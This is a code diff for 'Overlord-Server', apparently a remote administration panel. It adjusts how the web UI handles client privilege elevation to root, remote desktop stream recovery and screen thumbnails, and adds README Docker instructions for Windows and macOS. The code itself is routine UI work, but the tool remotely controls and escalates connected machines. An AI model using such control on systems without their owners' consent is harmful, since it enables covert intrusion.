diff --git a/Overlord-Server/public/assets/main.js b/Overlord-Server/public/assets/main.js
index 53f5c80..365df9b 100644
--- a/Overlord-Server/public/assets/main.js
+++ b/Overlord-Server/public/assets/main.js
@@ -198,7 +198,7 @@ function applyMenuSupportRules(clientId) {
 
   const elevateBtn = menu.querySelector('[data-action="elevate"]');
   if (elevateBtn) {
-    elevateBtn.style.display = platform === "darwin" ? "" : "none";
+    elevateBtn.style.display = platform === "mac" ? "" : "none";
   }
 }
 
@@ -954,6 +954,10 @@ menu.addEventListener("click", async (e) => {
       const data = await res.json().catch(() => ({}));
       if (data.ok) {
         alert(data.message || "Elevation successful — client will reconnect as root.");
+        // Stagger thumbnail requests to catch the client after it reconnects
+        setTimeout(() => requestThumbnail(contextCard), 5000);
+        setTimeout(() => requestThumbnail(contextCard), 10000);
+        setTimeout(() => requestThumbnail(contextCard), 18000);
       } else {
         alert(data.error || data.message || "Elevation failed.");
       }
@@ -961,7 +965,7 @@ menu.addEventListener("click", async (e) => {
       alert("Elevation request failed: " + err.message);
     }
     closeMenu(clearContext);
-    setTimeout(() => loadWithOptions({ force: true }), 2000);
+    setTimeout(() => loadWithOptions({ force: true }), 5000);
     return;
   }
 
diff --git a/Overlord-Server/public/assets/remotedesktop.js b/Overlord-Server/public/assets/remotedesktop.js
index 29360df..4b155f6 100644
--- a/Overlord-Server/public/assets/remotedesktop.js
+++ b/Overlord-Server/public/assets/remotedesktop.js
@@ -83,6 +83,7 @@ import { encodeMsgpack, decodeMsgpack } from "./msgpack-helpers.js";
   let clipboardSyncTimer = null;
   let lastClipboardText = "";
   let clipboardSyncActive = false;
+  let elevationPending = false;
 
   function resetH264RuntimeState() {
     h264TimestampUs = 0;
@@ -269,6 +270,7 @@ import { encodeMsgpack, decodeMsgpack } from "./msgpack-helpers.js";
     offlineTimer = setTimeout(() => {
       const now = performance.now();
       if (!lastFrameAt || now - lastFrameAt > 3000) {
+        if (elevationPending) return;
         desiredStreaming = false;
         setStreamState("offline", reason || "Client offline");
       }
@@ -302,6 +304,10 @@ import { encodeMsgpack, decodeMsgpack } from "./msgpack-helpers.js";
     }
     if (msg.status === "online") {
       clearOfflineTimer();
+      if (elevationPending) {
+        elevationPending = false;
+        desiredStreaming = true;
+      }
       if (desiredStreaming) {
         setStreamState("starting", "Reconnecting");
         if (displaySelect && displaySelect.value !== undefined) {
@@ -395,7 +401,8 @@ import { encodeMsgpack, decodeMsgpack } from "./msgpack-helpers.js";
               statusDiv.className = "text-xs text-emerald-400";
             }
             elevateBtn.textContent = "Done";
-            // The client will disconnect and reconnect; the viewer should auto-recover
+            elevationPending = true;
+            desiredStreaming = true;
           } else {
             if (statusDiv) {
               statusDiv.textContent = `Elevation failed: ${data.message || "Unknown error"}`;
diff --git a/README.md b/README.md
index 218b089..10c566d 100644
--- a/README.md
+++ b/README.md
@@ -22,6 +22,8 @@ Hello, I made this project for fun.
 
 If you just want it running fast, use this.
 
+> **⚠️ The compose file below is for Linux ONLY.** If you are on **Windows** or **macOS**, use `docker-compose.windows.yml` instead. See [Docker Install By OS](#docker-install-by-os) for the correct commands.
+
 1. Create a `docker-compose.yml` file and paste this:
 
 ```yaml
@@ -235,6 +237,20 @@ docker --version
 docker compose version
 ```
 
+> **macOS users:** use `docker-compose.windows.yml` instead of the default `docker-compose.yml`. The Windows/macOS compose file is pre-configured for Docker Desktop (no `network_mode: host`, correct volume paths, etc.).
+
+Clone the repo or download the files, then run:
+
+```bash
+docker compose -f docker-compose.windows.yml up -d
+```
+
+To rebuild after an update:
+
+```bash
+docker compose -f docker-compose.windows.yml up --build -d
+```
+
 ## No Docker (.bat / .sh)
 
 If you do not want Docker, use the included scripts.